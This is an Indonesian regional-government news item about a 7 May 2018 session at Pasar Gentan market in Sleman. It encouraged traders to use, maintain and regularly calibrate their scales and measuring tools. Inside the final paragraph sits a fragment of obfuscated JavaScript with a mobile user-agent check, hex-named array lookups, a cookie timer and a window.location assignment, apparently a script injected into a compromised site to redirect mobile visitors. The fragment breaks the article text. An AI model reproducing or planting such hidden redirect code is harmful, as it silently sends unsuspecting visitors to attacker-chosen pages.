UPT Pelayanan Metrologi Legal kabupaten Sleman melaksanakan kegiatan Penyuluhan cara dan manfaat penggunaan Alat Ukur, Takar, Timbang dan Perlengkapannya (UTTP) A�bertempat di Pasar Gentan pada tanggalA�07 Mei 2018
Kegiatan Penyuluhan ini diikuti oleh pedagag di Pasar Gentan dan anggota paguyuban dengan tujuan agar para pedagang yang menggunakan alat ukur, takar, timbang dan perlengkapannya (UTTP) memiliki pengetahuan dan kesadaran pentingnya menggunakan UTTP secara baik dan benar, termasuk kesadaran untuk melakukan tera/tera ulang timbangan yang digunakan untuk kegiatan jual/beli melalui kegiatan tera dan tera ulang secara rutin.

Bahwa jaminan kebenaran selain sebagai perwujudan perlindungan terhadap konsumen, juga merupakan kebutuhan bagi pedagang untuk mendapatkan rejeki yang halal dan berkah serta pembeli bisa loyal berlangganan karena merasa puas dengan transaksi jual beli.
Terlebih tantangan dan persaingan dunia perdagangan di era teknologi yang semakin canggih, dimana pembeli dan konsumen semakin terbuka wawasannya untuk memilih belanja pada penjual yang bisa memberikan jaminan kebenaran ukuran. Maka tidak bisa dielakkan lagi jika di masa mendatang, para pembeli hanya akan membeli pada pedangang yang memiliki alat ukur, timbang, takaran atau UTTP yang sudah memiliki jaminan kebenaran ukuran yaitu sudah di tera dan ditera ulang.

Dengan Penyuluhan ini juga diharapkan bias memotivasi para pedagang untuk perduli terhadap UTTP yang digunakan, termasuk cara pemakaian yang benar dan perawatan secara rutin pada timbangannya. Pemakaian ini meliputi cara membawa, meletakkan dan menggunakan timbangan yang tepat. yang dimaksudkan selain untuk memelihara kondisi UTTP. Sedangkan Perawatan terhdap timbangan perlu dilakukan baik sebelum, selama dan sesudah penggunaan timbangan, termasuk di dalamnya adalah cara menyimpan timbangan yang benar.
Dalam kesempatan penyuluhan di Pasar Gentan, Setya Purwanto selaku Kepala UPT Pelayanan Pasar Wilayah III juga meminta komitmen para pedagang untuk mewujudkan Pasar Gentan menjadi Pasar Tertib Ukur. \-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
Informasi Agenda Dinas
Tidak Ada Comment